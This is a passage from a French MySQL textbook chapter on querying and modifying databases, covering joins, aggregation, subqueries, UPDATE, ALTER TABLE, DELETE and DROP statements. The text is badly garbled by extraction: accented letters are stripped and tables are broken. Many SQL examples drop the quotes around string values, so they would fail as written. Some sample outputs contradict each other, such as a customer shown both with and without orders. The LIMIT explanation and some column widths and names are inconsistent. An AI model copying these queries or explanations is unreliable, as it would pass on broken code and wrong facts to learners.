ou gale une autre.

!= ou <>

Diffrent de

quantit != 0

Teste si deux valeurs sont


diffrentes.

IS NOT NULL

adresse is not null

Teste si un champ contient une


valeur.

IS NULL

adresse is null

Teste si un champ ne contient


aucune valeur.

BETWEEN

montant between 0 Teste si une valeur se trouve dans


and 60.00
un intervalle spcifi.

IN

ville in ("Carlton", Teste si une valeur se trouve dans


"Moe")
un ensemble spcifi.

NOT IN

ville not in
("Carlton","Moe")

Teste si une valeur ne se trouve


pas dans un ensemble spcifi.

LIKE

Concordance de motif nom like ("Fred%") Teste si une valeur correspond


un motif spcifi.

NOT LIKE

Concordance de motif nom not like


("Fred%")

Teste si une valeur ne correspond


pas un motif spcifi.

REGEXP

Expression rgulire

Teste si une valeur correspond


une expression rgulire.

nom regexp

Les trois dernires lignes de ce tableau font rfrence LIKE et REGEXP, qui effectuent
des comparaisons de motifs.
LIKE utilise la concordance de motif de SQL. Les motifs peuvent contenir du texte classique, plus les caractres % et . Le caractre % sert de joker pour indiquer une correspondance sur un nombre quelconque (ventuellement nul) de caractres, et correspond
nimporte quel caractre unique.

Le mot-cl REGEXP est utilis pour les recherches de correspondances ralises avec
des expressions rgulires. MySQL utilise les expressions rgulires POSIX. Vous
pouvez aussi vous servir de RLIKE la place de REGEXP, car ce sont deux synonymes.
Les expressions rgulires POSIX sont celles que nous avons prsentes au Chapitre 4).

264

Partie II

Utilisation de MySQL

Vous pouvez tester plusieurs critres en les associant avec AND et OR. Par exemple :
select *
from clients
where idclient = 3 or idclient = 4;

Rcuprer des donnes dans plusieurs tables


Pour rpondre une question pose la base de donnes, il faut souvent rcuprer des
donnes dans plusieurs tables. Si, par exemple, vous souhaitez connatre les clients qui
ont pass des commandes au cours du mois courant, vous devez examiner la table
clients et la table commandes. En outre, si vous souhaitez savoir prcisment ce quils
ont command, vous devez galement examiner la table livres commandes.
Ces lments se trouvent dans diffrentes tables puisquils correspondent des objets
rels diffrents. Cest lun des principes de conception que nous avons vus au Chapitre 8.
Pour rassembler ces informations avec SQL, vous devez effectuer une opration appele jointure. Cette opration revient simplement runir plusieurs tables en fonction
des relations qui existent entre leurs donnes. Par exemple, si nous souhaitons afficher
les commandes effectues par Julie Dupont, nous devons commencer par rechercher
lidclient de Julie dans la table clients, puis rechercher les commandes correspondant
cet idclient dans la table commandes.
Bien que les oprations de jointure soient conceptuellement assez simples, il sagit en
fait dune des parties les plus subtiles et les plus complexes de SQL. MySQL implmente plusieurs types de jointures, adapts diffrentes situations.
Jointure simple de deux tables
Commenons par tudier le code SQL pour la requte dont nous venons de parler,
propos de Julie Dupont :
select commandes.idcommande, commandes.montant, commandes.date
from clients, commande
where clients.nom = Julie Dupont
and clients.idclient = commandes.idclient;

Le rsultat de cette requte est le suivant :


+------------+---------+------------+
| idcommande | montant | date
|
+------------+---------+------------+
|
1 |
69.99 | 2007-04-02 |
|
4 |
24.99 | 2007-05-01 |
+------------+---------+------------+

Nous pouvons remarquer plusieurs choses intressantes.


Tout dabord, comme il faut runir les informations des deux tables pour rpondre
cette requte, nous avons indiqu ces deux tables dans la requte.

Chapitre 10

Travailler avec une base de donnes MySQL

265

Ce faisant, nous avons prcis un type de jointure sans le savoir. En effet, la virgule qui
spare les noms des tables est quivalente INNER JOIN ou CROSS JOIN. Il sagit dun
type de jointure parfois appel jointure complte ou produit cartsien de deux tables.
Ce type de jointure signifie littralement : " partir des tables indiques, crer une seule
grande table qui doit contenir une ligne pour chaque combinaison possible des
lignes de ces tables, que cela ait un sens ou non." En dautres termes, nous obtenons
une table contenant toutes les lignes de la table clients associes toutes les lignes de
la table commandes, quelles que soient les commandes effectues par les clients.
Cette opration brutale na pas beaucoup de sens dans la plupart des cas. En effet, on
souhaite le plus souvent ne retenir que les lignes qui ont un sens, cest--dire ici les
commandes passes par un client qui correspondent ce client.
Pour obtenir ce rsultat, il suffit dajouter une condition de jointure dans la clause
WHERE. Ce type dinstruction conditionnelle spciale exprime la relation qui doit exister
entre les deux tables. Ici, notre condition de jointure est la suivante :
clients.idclient = commandes.idclient

Elle demande MySQL de ne placer dans la table finale que les lignes dont le idclient
de la table clients correspond au idclient de la table commandes.
En ajoutant cette condition de jointure notre requte, nous avons cr un autre type de
jointure, appel qui-jointure.
Vous avez galement remarqu la notation avec le point, qui permet de prciser sans
ambigut la table dont proviennent les colonnes : clients.idclient fait rfrence la
colonne idclient de la table clients et commandes.idclient fait rfrence la colonne
idclient de la table commandes.
Cette notation est ncessaire lorsque le nom dune colonne est ambigu, cest--dire sil
apparat dans plusieurs tables.
En outre, cette notation pointe peut galement tre utilise pour lever les ambiguts
sur des noms de colonnes de bases de donnes diffrentes. Dans cet exemple, nous nous
sommes servis de la notation table.colonne, mais il est galement possible dy ajouter
le nom dune base de donnes (base de donnes.table.colonne), par exemple pour
tester une condition comme celle-ci :
livres.commandes.idclient = autre_bd.commandes.idclient

Enfin, vous pouvez vous servir de cette notation pour toutes les rfrences de colonnes dans
une requte. Cest gnralement conseill, surtout lorsque vos requtes deviennent un peu
plus complexes car, mme si ce nest pas impos par MySQL, cela facilite beaucoup la lisibilit et la maintenance des requtes. Vous remarquerez dailleurs que nous avons respect
cette convention dans le reste de la requte prcdente, par exemple dans la condition :
clients.nom = Julie Dupont

266

Partie II

Utilisation de MySQL

La colonne nom nexistant que dans la table clients, nous navions pas rellement
besoin de prciser la table dont elle provient. Pour les utilisateurs qui relisent le code,
en revanche, la rfrence nom seule reste vague et elle devient plus claire sous la forme
clients.nom.
Jointures de plus de deux tables
Cette opration nest pas plus complexe que la jointure de deux tables. Dune manire
gnrale, les tables doivent tre jointes deux deux avec des conditions de jointure.
Vous pouvez considrer que cela revient respecter les relations qui existent entre les
donnes des tables.
Par exemple, si nous souhaitons connatre les clients qui ont command des livres sur
Java (ventuellement pour pouvoir leur envoyer des informations sur un nouveau livre
sur ce langage), nous devons suivre ces relations dans plusieurs tables.
Nous devons commencer par reprer les clients qui ont pass au moins une commande
contenant un Livres Commandes correspondant un livre sur Java. Pour passer de la table
clients la table commandes, nous pouvons nous servir de la colonne idclient, comme
nous lavons dj fait. Pour passer de la table commandes la table Livres Commandes,
nous pouvons utiliser idcommande. Pour obtenir dans la table Livres Commandes un livre
spcifique de la table livres, nous pouvons nous servir du numro ISBN. Aprs avoir
tabli toutes ces relations, nous pouvons chercher les livres dont le titre contient "Java" et
renvoyer les noms des clients qui ont achet lun de ces livres.
Voyons maintenant le code de cette requte :
select clients.nom
from clients, commandes, livres_commandes, livres
where clients.idclient = commandes.idclient
and commandes.idcommande = livres_commandes.idcommande
and livres_commandes.isbn = livres.isbn
and livres.titre like %Java%;

Cette requte renvoie le rsultat suivant :


+-----------------+
| nom
|
+-----------------+
| Julie Dupont
|
+-----------------+

Vous remarquerez que nous avons suivi les donnes dans quatre tables diffrentes. Pour
faire cela avec une qui-jointure, nous avons besoin de trois conditions de jointure
diffrentes. Comme il faut gnralement une condition de jointure pour chaque paire de
tables que vous souhaitez runir, il y a au total une jointure de moins que le nombre
de tables joindre. Cette rgle est assez utile pour dboguer les requtes qui ne fonctionnent pas. Vrifiez vos conditions de jointure et assurez-vous que vous respectez

Chapitre 10

Travailler avec une base de donnes MySQL

267

bien les enchanements ncessaires pour obtenir ce que vous vouliez partir des informations que vous avez donnes.
Trouver les lignes qui ne correspondent pas
Lautre type de jointure principal dont vous aurez besoin est la jointure gauche.
Dans les exemples prcdents, seules les lignes vrifiant les conditions dans toutes les
tables taient retenues. Il arrive cependant que lon ait besoin des lignes qui ne correspondent pas ces conditions, par exemple pour rechercher les clients qui nont pass
aucune commande ou les livres qui nont jamais t achets.
La mthode la plus simple pour rpondre ce type de question avec MySQL consiste
utiliser une jointure gauche. Ce type de jointure renvoie en effet les lignes qui satisfont la condition de jointure entre deux tables. Sil ny a aucune ligne correspondante
dans la table de droite, une ligne est ajoute dans la table des rsultats, contenant des
valeurs NULL dans les colonnes de droite.
Prenons un exemple :
select clients.idclient, clients.nom, commandes.idcommande
from clients left join commandes
on clients.idclient = commandes.idclient;

Cette requte SQL se sert dune jointure gauche pour regrouper les tables clients et
commandes. Vous remarquerez que la jointure gauche utilise une syntaxe lgrement
diffrente pour sa condition de jointure : elle se trouve ici dans une clause ON spciale
de linstruction SQL.
Voici le rsultat de cette requte :
+-----------+-----------------+------------+
| idclient | nom
| idcommande |
+-----------+-----------------+------------+
|
3 | Julie Smith
|
1 |
|
3 | Julie Smith
|
4 |
|
4 | Alain Wong
|
NULL |
|
5 | Michelle Arthur |
1 |
+-----------+-----------------+------------+

Ce rsultat ne montre que les clients qui ont des idclient non NULL.
Si vous ne voulez connatre que les clients qui nont pass aucune commande, il suffit de
rechercher ces valeurs NULL dans la cl primaire de la table correspondante (idcommande,
ici), puisque ce champ ne devrait tre NULL dans aucune des lignes :
select clients.idclient, clients.nom
from clients left join commandes
using (idclient)
where commandes.idcommande is null;

268

Partie II

Utilisation de MySQL

Voici le rsultat obtenu :


+----------+-----------------+
| idclient | nom
|
+----------+-----------------+
|
4 | Alain Wong
|
|
5 | Michelle Arthur |
+----------+-----------------+

Vous remarquerez que nous nous sommes galement servis dune syntaxe diffrente
pour la condition de jointure de cet exemple. Les jointures gauche acceptent en effet
soit la syntaxe ON que nous avons utilise dans le premier exemple, soit la syntaxe USING
du second exemple. La syntaxe USING ne prcisant pas la table do provient lattribut
de jointure, les colonnes des deux tables doivent porter le mme nom lorsque vous
voulez utiliser cette clause.
Vous pouvez galement rpondre ce type de question en utilisant des sous-requtes,
que nous prsenterons plus loin dans ce chapitre.
Utiliser dautres noms pour les tables : les alias
Il est souvent pratique, et parfois indispensable, de pouvoir faire rfrence aux tables
avec dautres noms, que lon appelle des alias. Vous pouvez les crer au dbut dune
requte et les utiliser dans tout le reste de cette requte. Ils servent souvent de raccourcis pour les noms des tables, comme dans cet exemple qui nest quune rcriture dune
requte que nous avons dj prsente :
select cli.nom
from clients as cli, commandes as cde, livres_commandes as lc,
livres as l
where cli.idclient = cde.idclient
and cde.idcommande = lc.idcommande
and lc.isbn = l.isbn
and l.titre like %Java%;

Lorsque nous dclarons les tables que nous allons utiliser, nous ajoutons une clause
AS pour dclarer lalias dune table. Il est galement possible de dfinir des alias
pour des colonnes, mais nous y reviendrons lorsque nous verrons les fonctions
dagrgation.
Il faut passer par les alias pour raliser une jointure dune table avec elle-mme. Cela a
lair plus difficile et plus trange que cela ne lest en ralit. Cette approche peut tre
utile, si, par exemple, nous voulons trouver dans une table les lignes qui possdent des
valeurs en commun. Ainsi, pour trouver les clients qui habitent dans la mme ville
(ventuellement pour diffuser des publicits), nous pouvons affecter deux alias la
mme table (clients) :
select c1.nom, c2.com, c1.ville
from clients as c1, clients as c2

Chapitre 10

Travailler avec une base de donnes MySQL

269

where c1.ville = c2.ville


and c1.nom!= c2.nom;

Dans cette requte, nous faisons comme si la table clients reprsentait en fait deux
tables diffrentes, c1 et c2, et nous effectuons une jointure sur la colonne ville. Vous
remarquerez que nous avons galement besoin de la deuxime condition, c1.nom!=
c2.nom, pour viter que chaque client ne vrifie la condition (puisque chaque client
habite videmment dans la mme ville que lui).
Rcapitulatif sur les jointures
Les diffrents types de jointures sont prsents dans le Tableau 10.2. Il en existe
dautres, mais ce tableau rassemble celles que vous utiliserez le plus souvent.
Tableau 10.2 : Les types de jointures dans MySQL

Nom

Description

Produit cartsien

Toutes les combinaisons de toutes les lignes des tables de la jointure.


Ce type de jointure est choisi en plaant une virgule entre les noms des
tables et en ne spcifiant aucune clause WHERE.

Jointure complte

Comme ci-dessus.

Jointure croise

Comme ci-dessus. Peut galement tre utilise en utilisant la clause


CROSS JOIN entre les noms des tables de la jointure.

Jointure interne

Smantiquement quivalente la virgule. Elle peut galement tre


indique laide de la clause INNER JOIN. Sans condition WHERE, elle est
quivalente produit cartsien. Gnralement, on utilise galement une
condition WHERE pour en faire une vritable jointure interne.

qui-jointure

Utilise un test dgalit pour associer les lignes des diffrentes tables de
la jointure. En SQL, cest une jointure avec une clause WHERE.

Jointure gauche

Tente dassocier des lignes provenant des tables indiques et remplit les
lignes ne correspondant pas avec la valeur NULL. Utilise dans SQL
avec les clauses LEFT JOIN. Elle permet de trouver des valeurs
manquantes. Vous pouvez utiliser de la mme manire RIGHT JOIN pour
faire une jointure droite.

Rcuprer les donnes dans un ordre particulier


Si vous souhaitez afficher les lignes renvoyes par une requte dans un ordre particulier,
vous pouvez vous servir de la clause ORDER BY de linstruction SELECT. Celle-ci permet
de prsenter la sortie obtenue dans un format plus lisible.

270

Partie II

Utilisation de MySQL

La clause ORDER BY trie les lignes dune ou de plusieurs colonnes de la clause SELECT.
Par exemple :
select nom, adresse
from clients
order by nom;

Cette requte renvoie les noms et les adresses des clients, en les triant par ordre alphabtique des noms :
+-----------------+--------------------+
| nom
| adresse
|
+-----------------+--------------------+
| Alain Wong
| 147 Avenue Haines |
| Julie Dupont
| 25 rue noire
|
| Melissa Jones
|
|
| Michel Archer
| 12 Avenue plate
|
| Michelle Arthur | 357 rue de Paris
|
+-----------------+--------------------+

Vous remarquerez que, dans ce cas, les noms tant au format prnom nom de famille, ils
sont tris en fait daprs le prnom. Si vous souhaitez les trier daprs le nom de famille, il
faut sparer les prnoms et les noms de famille, et les mettre dans deux champs diffrents.
Par dfaut, lordre de tri est croissant. Vous pouvez le prciser explicitement laide du
mot-cl ASC :
select nom, adresse
from clients
order by nom asc;

Mais il est galement possible de trier par ordre dcroissant, en spcifiant le mot-cl DESC :
select nom, adresse
from clients
order by nom desc;

Vous pouvez aussi trier sur plusieurs colonnes, ou vous servir des alias des colonnes, ou
mme de leur position dans la table (par exemple, 3 correspond la troisime colonne
de la table) au lieu de leur nom.
Groupement et agrgation des donnes
Il faut souvent dterminer le nombre de lignes qui appartiennent un ensemble particulier ou la valeur moyenne dune colonne (par exemple le montant moyen des commandes). MySQL possde plusieurs fonctions dagrgation qui se rvlent trs utiles pour
rpondre ce type de requte.
Ces fonctions dagrgation peuvent tre appliques une table prise comme un ensemble
ou un groupe de donnes dans une table.

Chapitre 10

Travailler avec une base de donnes MySQL

271

Les fonctions dagrgation les plus utilises sont prsentes dans le Tableau 10.3.
Tableau 10.3 : Les fonctions dagrgation de MySQL

Nom

Description

AVG (colonne)

Moyenne des valeurs de la colonne indique.

COUNT (lment)

Si vous indiquez une colonne, cette fonction renvoie le nombre de


valeurs non NULL de cette colonne. Si vous ajoutez le mot DISTINCT
devant le nom de la colonne, vous obtiendrez le nombre de valeurs
distinctes dans cette colonne uniquement. Si vous utilisez COUNT(*),
vous obtiendrez un compte global, indpendamment des valeurs
NULL.

MIN (colonne)

Plus petite valeur de la colonne indique.

MAX(colonne)

Plus grande valeur de la colonne indique.

STD (colonne)

cart-type des valeurs de la colonne indique.

STDDEV (colonne)

Identique STD(colonne).

SUM (colonne)

Somme des valeurs de la colonne indique.

Voyons maintenant quelques exemples, en commenant par celui que nous avons
mentionn plus haut. Nous pouvons calculer la moyenne des commandes comme ceci :
select avg(montant)
from commandes;

Ce qui fournit la sortie suivante :


+--------------+
| avg(montant) |
+--------------+
|
54.985002 |
+--------------+

Pour obtenir des informations plus dtailles, nous pouvons nous servir de la clause
GROUP BY. Celle-ci va nous permettre, par exemple, dafficher la moyenne des commandes de chaque client. Grce ce mcanisme, nous pouvons connatre le client qui a
dpens le plus dargent :
select idclient, avg(montant)
from commandes
group by idclient;

Lorsque vous utilisez la clause GROUP BY avec une fonction dagrgation, cette clause
modifie le comportement de la fonction. Au lieu de fournir la moyenne des montants

272

Partie II

Utilisation de MySQL

des commandes de toute la table, cette requte fournit la moyenne des montants des
commandes pour chaque client (ou, plus prcisment, pour chaque idclient) :
+----------+--------------+
| idclient | avg(montant) |
+----------+--------------+
|
1 |
49.990002 |
|
2 |
74.980003 |
|
3 |
47.485002 |
+----------+--------------+

En SQL ANSI, si vous utilisez une clause GROUP BY, les seuls lments qui peuvent
apparatre dans la clause SELECT sont les fonctions dagrgation et les colonnes indiques dans la clause GROUP BY. En outre, si vous voulez utiliser une colonne dans une
clause GROUP BY, celle-ci doit apparatre dans la clause SELECT.
MySQL accorde en fait un peu plus de libert. Il accepte une syntaxe tendue qui permet
de ne pas spcifier des lments dans la clause SELECT si vous ne souhaitez pas les y mettre.
Nous pouvons galement tester le rsultat dune agrgation laide dune clause HAVING.
Celle-ci doit tre indique immdiatement aprs la clause GROUP BY et elle fonctionne
comme une clause WHERE qui ne sappliquerait quaux groupes et aux agrgats.
Pour poursuivre notre exemple prcdent, nous pouvons nous servir de la requte
suivante pour connatre les clients dont la moyenne des commandes est suprieure
50 euros :
select idclient, avg(montant)
from commandes
group by idclient
having avg(montant) > 50;

La clause HAVING sapplique aux groupes. Cette requte renvoie donc le rsultat suivant :
+----------+--------------+
| idclient | avg(montant) |
+----------+--------------+
|
2 |
74.980003 |
+----------+--------------+

Choisir les lignes renvoyer


La clause LIMIT de linstruction SELECT peut tre particulirement utile dans les applications web. Elle permet dindiquer les lignes du rsultat qui seront renvoyes. Cette clause
prend deux paramtres : le numro de ligne de dpart et le nombre de lignes renvoyer.
La requte suivante met en uvre la clause LIMIT :
select nom
from clients
limit 2, 3;

Chapitre 10

Travailler avec une base de donnes MySQL

273

Cette requte peut tre interprte comme : "Slectionne les noms des clients et renvoie
3 lignes partir de la deuxime ligne du rsultat." Vous remarquerez que les lignes sont
numrotes partir de 0, cest--dire que la premire ligne du rsultat est la ligne 0.
Ceci est trs utile pour les applications web, car on peut ainsi nafficher, par exemple,
que 10 articles par page lorsque lon prsente un catalogue aux clients.
Notez cependant que LIMIT ne fait pas partie du standard ANSI SQL. Il sagit dune
extension MySQL : en lutilisant, vous rendez votre code SQL incompatible avec la
plupart des autres SGBDR.
Utiliser des sous-requtes
Une sous-requte est une requte imbrique dans une autre requte. Si la plupart des fonctionnalits des sous-requtes peuvent tre obtenues en utilisant attentivement des jointures
et des tables temporaires, les sous-requtes sont gnralement plus simples lire et
crire.
Sous-requtes lmentaires
Lusage le plus courant des sous-requtes consiste utiliser le rsultat dune requte
dans une comparaison dune autre requte. Vous pouvez, par exemple, utiliser la requte
suivante pour retrouver la plus grosse commande :
select idclient, montant
from commandes
where montant = (select max(montant) from commandes);

Cette requte donne le rsultat suivant :


+----------+---------+
| idclient | montant |
+----------+---------+
|
2 |
74.98 |
+----------+---------+

Dans ce cas, la sous-requte renvoie une seule valeur (le montant maximal) qui est utilise ensuite pour la comparaison dans la requte externe. Il sagit dun bon exemple
dusage de sous-requte, car cette requte particulire ne peut pas tre reproduite de
manire lgante en utilisant des jointures en ANSI SQL.
Vous obtiendrez toutefois le mme rsultat avec la jointure suivante :
select idclient, montant
from commandes
order by montant desc
limit 1;

Mais, parce quelle sappuie sur LIMIT, cette requte nest pas compatible avec la plupart
des SGBDR. Cependant, elle sexcutera plus efficacement sur MySQL que la version
avec une sous-requte.

274

Partie II

Utilisation de MySQL

Lune des principales raisons pour lesquelles MySQL a tant tard proposer des sousrequtes tient au nombre trs rduit doprations quelles vous permettent de raliser.
Techniquement, vous pouvez crer une seule requte ANSI SQL ayant le mme effet,
mais qui sappuie sur un hack inefficace appel MAX-CONCAT.
Vous pouvez utiliser des valeurs de sous-requte de cette manire avec tous les oprateurs de comparaison classiques et il existe galement certains oprateurs de comparaison spcifiques aux sous-requtes que nous dcrirons dans la section suivante.
Sous-requtes et oprateurs
Il existe cinq oprateurs spcifiques aux sous-requtes. Quatre dentre eux sont utiliss
avec les sous-requtes standard et un (EXISTS) nest gnralement utilis quavec des
sous-requtes corrles. Nous en traiterons dans la prochaine section. Les quatre oprateurs de sous-requte standard sont prsents dans le Tableau 10.4.
Tableau 10.4 : Oprateurs de sous-requte

Nom Syntaxe dexemple

Description

ANY

SELECT c1 FROM t1 WHERE c1 > ANY (SELECT c1 FROM t2);

Renvoie true si la
comparaison est vraie
pour lune des lignes
de la sous-requte.

IN

SELECT c1 FROM t1 WHERE c1 IN SELECT c1 from t2);

quivalent de =ANY.

SOME SELECT c1 FROM t1 WHERE c1 > SOME (SELECT c1 FROM t2); Alias de ANY.
ALL

SELECT c1 FROM t1 WHERE c1 > ALL (SELECT c1 from t2);

Renvoie true si la
comparaison est vraie
pour toutes les lignes
de la sous-requte.

Chacun de ces oprateurs ne peut apparatre quaprs un oprateur de comparaison,


lexception de IN, o loprateur de comparaison (=) est en quelque sorte "intgr".
Sous-requtes corrles
Dans les sous-requtes corrles, les choses se compliquent un peu, car vous pouvez
utiliser des lments de la requte externe dans la requte interne. Par exemple :
select isbn, titre
from livres
where not exists
(select *
from livres_commandes
where livres_commandes.isbn = livres.isbn);

Chapitre 10

Travailler avec une base de donnes MySQL

275

Cette requte illustre lutilisation des sous-requtes corrles et du dernier oprateur de


sous-requte spcifique, EXISTS. Elle rcupre tous les livres qui nont jamais t
commands (ces informations sont identiques celles retrouves prcdemment
laide dune jointure gauche). Notez que la clause FROM de requte interne ninclut que
la table livres commandes mais que cette sous-requte fait galement rfrence
livres.isbn. En dautres termes, la requte interne fait rfrence aux donnes de la
requte externe, ce qui est la dfinition mme dune sous-requte corrle. Vous recherchez en fait les lignes internes qui correspondent (ou, dans le cas prsent, ne correspondent
pas) aux lignes externes.
Loprateur EXISTS renvoie true sil existe des lignes correspondantes dans la sousrequte. Inversement, NOT EXISTS renvoie true sil nexiste pas de ligne correspondante
dans la sous-requte.
Sous-requtes de ligne
Toutes les sous-requtes que nous avons tudies jusqu prsent retournaient une seule
valeur, correspondant gnralement true ou false (comme dans lexemple prcdent avec EXISTS). Les sous-requtes de ligne renvoient une ligne entire, qui peut
ensuite tre compare des lignes entires dans la requte externe. Cette mthode est
gnralement adopte pour rechercher des lignes dans une table qui existent galement
dans une autre table. Aucun exemple intressant ne peut tre trouv dans la base de
donnes livres, mais on peut fournir un exemple dutilisation de la syntaxe de la
manire suivante :
select c1, c2, c3
from t1
where (c1, c2, c3) in (select c1, c2, c3 from t2);

Utiliser une sous-requte comme table temporaire


Vous pouvez utiliser une sous-requte dans la clause FROM dune requte externe. Cette
approche vous permet dinterroger le rsultat de la sous-requte en la traitant comme
une table temporaire.
Sous sa forme la plus simple, ce type de sous-requte se prsente comme suit :
select * from
(select idclient, nom from clients where ville = Bordeaux)
as clients_bordeaux;

Notez quici nous plaons la sous-requte dans la clause FROM. Juste aprs la parenthse
fermante de la sous-requte, vous devez donner le rsultat de la sous-requte sous
forme dalias que vous pourrez ensuite traiter comme nimporte quelle autre table dans
la requte externe.

276

Partie II

Utilisation de MySQL

Mise jour des enregistrements de la base de donnes


Outre la rcupration des donnes dans la base de donnes, une autre opration classique consiste les modifier. Par exemple, nous pouvons avoir besoin daugmenter le
prix des livres dans la base de donnes. Pour cela, il existe linstruction UPDATE.
La syntaxe de UPDATE est la suivante :
UPDATE [LOW_PRIORITY] [IGNORE] nom_table
SET colonne1=expression1,colonne2=expression2,...
[WHERE condition]
[ORDER BY critres_tri]
[LIMIT nombre]

Cette instruction met jour la table nom table en modifiant toutes les colonnes indiques avec les expressions fournies. Vous pouvez restreindre une instruction UPDATE
certaines lignes avec une clause WHERE et limiter le nombre total de lignes affectes avec
une clause LIMIT. ORDER BY nest gnralement utilis quen conjonction avec une
clause LIMIT ; par exemple, si vous devez ne mettre jour que les dix premires lignes,
vous devez pralablement les placer dans un ordre particulier. Si les clauses
LOW PRIORITY et IGNORE sont utilises, elles fonctionnent de la mme manire que dans
une instruction INSERT.
Passons maintenant quelques exemples.
Si nous souhaitons augmenter tous les prix de 10 %, nous pouvons utiliser une instruction
UPDATE sans clause WHERE :
update livres
set prix = prix * 1.1;

Si, en revanche, nous ne souhaitons modifier quune seule ligne (par exemple pour
changer ladresse dun client), nous pouvons nous servir de la requte suivante :
update clients
set adresse = 250 rue Olsens
where idclient = 4;

Modification des tables aprs leur cration


Non seulement nous pouvons modifier le contenu dune table, mais nous pouvons
galement modifier sa structure. Pour cela, on utilise linstruction ALTER TABLE, dont la
syntaxe est la suivante :
ALTER TABLE [IGNORE] nom_table modification [, modification ...]

En SQL ANSI, il nest possible dapporter quune seule modification par instruction
ALTER TABLE mais, avec MySQLn vous pouvez en faire autant que vous le souhaitez.
Chaque clause de modification peut servir modifier diffrents aspects de la table.

Chapitre 10

Travailler avec une base de donnes MySQL

277

Si la clause IGNORE est utilise et que vous essayiez deffectuer une modification qui
duplique des cls primaires, la premire ira dans la table modifie et les autres seront
supprimes. Si cette clause nest pas indique (par dfaut), la modification chouera et
sera annule. Les diffrents types de modifications que vous pouvez apporter avec cette
instruction sont prsents dans le Tableau 10.5.
Tableau 10.5 : Les modifications possibles avec linstruction ALTER TABLE

Syntaxe

Description

ADD [COLUMN] description colonne


[FIRST | AFTER colonne ]

Ajoute une nouvelle colonne lemplacement


indiqu (sil nest pas indiqu, la colonne est
ajoute la fin). Notez que description colonne
ncessite un nom et un type, tout comme une
instruction CREATE.

ADD [COLUMN] (description colonne,


description colonne,...)

Ajoute une ou plusieurs colonnes la fin de la table.

ADD INDEX [index] (colonne,...)

Ajoute un index dans la table, sur les colonnes


indiques.

ADD [CONSTRAINT [symbole]] PRIMARY


KEY (colonne,...)

Transforme les colonnes indiques en cl primaire


de la table. La notation CONSTRAINT ne concerne
que les tables utilisant des cls trangres. Pour
plus dinformations ce sujet, consultez le
Chapitre 13.

ADD UNIQUE [CONSTRAINT [symbole]]


[index] (colonne,...)

Ajoute un index unique dans la table, sur les


colonnes indiques. La notation CONSTRAINT ne
concerne que les tables InnoDB utilisant des cls
trangres. Pour plus dinformations ce sujet,
consultez le Chapitre 13.

ADD [CONSTRAINT] [symbole]] FOREIGN Ajoute une cl trangre une table InnoDB.
KEY [index] (index col, )
[dfinition rfrence]
ALTER [COLUMN] colonne {SET DEFAULT Ajoute ou supprime une valeur par dfaut pour une
valeur | DROP DEFAULT}
colonne particulire.
CHANGE [COLUMN] colonne
description nlle colonne

Modifie la colonne indique en lui affectant la


nouvelle description. Vous pouvez vous en servir
pour modifier le nom dune colonne, puisque la
description dune colonne contient son nom.

MODIFY [COLUMN] description colonne Comme CHANGE. Permet de modifier le type dune

colonne, pas son nom.


DROP [COLUMN] colonne

Supprime la colonne indique.

278

Partie II

Utilisation de MySQL

Tableau 10.5 : Les modifications possibles avec linstruction ALTER TABLE (suite)

Syntaxe

Description

DROP PRIMARY KEY

Supprime lindex principal (mais pas la colonne).

DROP INDEX index

Supprime lindex indiqu.

DROP FOREIGN KEY cl

Supprime la cl trangre (mais pas la colonne).

DISABLE KEYS

Dsactive la mise jour de lindex.

ENABLE KEYS

Active la mise jour de lindex.

RENAME [AS] nom nlle table

Renomme une table.

ORDER BY nom col

Recre la table avec les lignes dans un ordre


particulier (notez quaprs avoir modifi la table les
lignes ne seront plus dans lordre).

CONVERT TO CHARACTER SET jdc COLLATE Convertit toutes les colonnes texte avec le jeu de
odc
caractres et lordre de classement indiqus.
[DEFAULT] CHARACTER SET cs COLLATE c Dfinit le jeu de caractres et lordre de classement

par dfaut.
DISCARD TABLESPACE

Supprime le fichier despace de tables sous-jacent


pour une table InnoDB (pour plus dinformations
sur les tables InnoDB, voir le Chapitre 13).

IMPORT TABLESPACE

Recre le fichier despace de tables sous-jacent


pour une table InnoDB (pour plus dinformations
sur les tables InnoDB, voir le Chapitre 13).

options table

Permet de rinitialiser les options de table. Utilise


la mme syntaxe que CREATE TABLE.

Voyons maintenant quelques utilisations courantes de ALTER TABLE.


Il arrive assez souvent que lon se rende compte quune colonne nest pas assez grande
pour les donnes quelle contient. Par exemple, dans notre table clients, nous avons
choisi des noms de 50 caractres au maximum. Aprs avoir ajout quelques donnes, il
se peut que nous nous rendions compte que certains noms font plus de 50 caractres et
quils sont tronqus. Pour corriger ce problme, il suffit de modifier le type de la
colonne et de choisir une largeur de 75 caractres :
alter table clients
modify nom char(70) not null;

Il arrive aussi que lon ait besoin dajouter une colonne. Imaginons par exemple quune
taxe sur les livres soit ajoute et que Book-O-Rama ait besoin dajouter le montant de

Chapitre 10

Travailler avec une base de donnes MySQL

279

cette taxe au total des commandes. Nous pouvons ajouter une colonne taxe dans la
table commandes, comme ceci :
alter table commandes
add taxe float(6,2) after montant;

Pour supprimer une colonne, servez-vous de la requte suivante :


alter table commandes
drop taxe;

Supprimer des enregistrements de la base de donnes


La suppression des lignes est trs simple. Vous pouvez vous servir de linstruction
DELETE, dont la syntaxe est la suivante :
DELETE
[WHERE
[ORDER
[LIMIT

[LOW_PRIORITY] [QUICK] [IGNORE] FROM nom_table


condition]
BY cols_tri]
nombre]

Si vous crivez uniquement :


delete from nom_table;

toutes les lignes de la table seront supprimes ! En gnral, on prfre ne supprimer que
certaines lignes, indiques dans la clause WHERE. Par exemple, il faut supprimer une
ligne si un livre nest plus disponible ou si un client na pass aucune commande depuis
un certain temps :
delete from clients
where idclient = 5;

La clause LIMIT permet de limiter le nombre maximal de lignes supprimer.

Supprimer des tables


Il peut galement arriver que vous souhaitiez supprimer une table de votre base de donnes.
Vous pouvez le faire laide de linstruction DROP TABLE. Sa syntaxe est trs simple :
DROP TABLE nom_table;

Elle supprime toutes les lignes de la table et la table elle-mme. Il convient donc de
faire attention lorsque vous lutilisez. ORDER BY est gnralement utilise en conjonction
avec LIMIT.

Supprimer une base de donnes entire


Vous pouvez mme supprimer lintgralit dune base de donnes avec linstruction
DROP DATABASE, dont la syntaxe est la suivante :
DROP DATABASE base_de_donnes;

280

Partie II

Utilisation de MySQL

Elle supprime toutes les lignes, toutes les tables, tous les index et la base de donnes
elle-mme. Il va donc sans dire quelle doit tre utilise avec prcaution !

Pour aller plus loin


Dans ce chapitre, nous avons prsent les oprations les plus courantes de SQL, celles
que vous utiliserez pour interagir avec une base de donnes MySQL. Au cours des deux
prochains chapitres, nous verrons comment connecter MySQL et PHP pour que vous
